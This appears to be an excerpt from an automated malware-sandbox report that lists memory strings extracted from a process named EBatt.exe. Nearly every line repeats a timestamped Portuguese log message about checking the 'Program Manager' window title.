Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:56-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: .12:41:03-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:41:02-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:43-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:19-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:51-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:32-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:47-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:06-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:55-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:05-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:40-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:54-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:08-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:46-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:07-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:53-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:31-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:45-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:09-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:41:00-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:18-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:33-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:32-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:17-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:24-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:59-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:40-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:43-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:28-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:49-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:01-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:58-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:51-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:15-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:35-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4521755281.0000000002645000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.0000000002695000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.0000000002615000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: uVERALL = SETFIMNDO TITULO = Program Managerer
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:42-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:07-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:37-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:12-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:30-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:50-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:04-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:36-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:46-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:38-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:09-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:25-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:55-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:02-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:22-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4521755281.00000000026AC000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4521755281.00000000026A4000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.00000000026FC000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:23-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:14-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:30-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:04-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:54-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:28-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:53-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:18-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:09-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:41-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:45-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:39-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:25-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:52-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:17-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:40-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:02-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:26-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:56-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:12-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:48-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:01-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:07-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:15-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:53-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:37-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:12-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:38-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:50-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:39-VERIFICANDO TITULO = Program Manager
